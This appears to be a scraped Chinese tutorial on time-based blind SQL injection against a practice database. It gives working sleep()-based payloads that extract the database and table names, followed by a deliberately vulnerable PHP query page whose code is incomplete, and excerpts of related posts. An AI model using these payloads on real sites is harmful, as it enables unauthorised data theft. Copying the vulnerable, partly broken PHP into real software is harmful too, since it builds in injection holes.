SQL注入基礎 4 時間盲注

2021-08-28 16:05:35 字數 2566 閱讀 2892

時間盲注:利用sleep()或benchmark()等函式讓mysql執行時間變長經常與if(expr1,expr2,expr3)語句結合使用,通過頁面的響應時間來判斷條件是否正確。if(expr1,expr2,expr3)含義是如果expr1是true,則返回expr2,否則返回expr3。

1)考慮使用時間盲注

訪問url:返回yes;

訪問url:'返回no;

這讓我們想到了之前的boolean注入,遇到這種情況還可以使用另一種注入方法-時間盲注。

2)獲取資料庫庫名

(1)判斷當前資料庫庫名的長度

如果資料庫庫名長度大於等於8,則mysql查詢休眠5秒,否則查詢1。語句:if(length(database())>=8,sleep(5),1)

url:' and if(length(database())>=8,sleep(5),1)--+

可以看到頁面響應時間是6013毫秒,即6.013秒,這說明了頁面執行了sleep(5),也就是length(database())>=8成立。使用burp的repeater模組如下所示:

可以看到頁面響應時間是1026毫秒,即1.026秒,這說明頁面沒有執行sleep(5),而是執行了select 1,也就是length(database())>=9是錯誤的。那麼可以確定,當前資料庫庫名的長度是8。使用burp的repeater模組如下所示:

(2)獲取當前資料庫庫名

由於資料庫的庫名範圍一般在a-z,0-9之間,可能有特殊字元,不區分大小寫。和boolean注入類似,使用substr函式來擷取database()的值,一次擷取乙個,注意和limit的從0開始不同,它是從1開始。

語句:if(substr(database(),1,1)='a',sleep(5),1)

url:' and if(substr(database(),1,1)='a',sleep(5),1)--+

這裡同樣使用burp爆破:

可以看到,當前資料庫庫名的第乙個字元是s,同理可以得到庫名是:security。

3)獲取資料庫表名

語句:if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1)

url:' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a',sleep(5),1)--+

這裡也使用burp爆破:

可以看到security資料庫的第乙個表名的第乙個字元是e。同理,得到所有字元,最後得到security資料庫的第乙個表名是:emails。

修改limit 0,1為limit 1,1,可以得到第二個表名。最後得到所有表名:

第1個表名是:emails

第2個表名是:referers

第3個表名是:uagents

第4個表名是:users

依次類推,就可以得到完整的資料庫庫名,表名,欄位名和具體資料。

訪問該頁面,頁面只顯示yes或者no,和boolean注入**不同的是,這裡只過濾了union,沒有過濾sleep這些危險字元,本次盲注才可以成功。

<?php 

header("content-type:text/html;charset=utf8");

$con=mysqli_connect("localhost","root","root","security");

mysqli_set_charset($con,'utf8');

if(!$con)

$id=$_get['id'];

//過濾危險字元

if (preg_match("/union/i",$id))

$result=mysqli_query($con,"select * from users where id='".$id."'");

$row=mysqli_fetch_array($result);

if ($row)else

?>

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

SQL注入 盲注

遮蔽了報錯資訊,攻擊者無法使用報錯資訊來進行注入判斷。1.boolean 盲注 無論輸入什麼只會顯示真與假 2.時間盲注 頁面沒有任何的顯示,通過時間的延遲來判斷是否存在注入 是無論輸入什麼,結果只返回真和假兩種結果。判斷資料庫名的長度 length database x 判斷表名 substr d...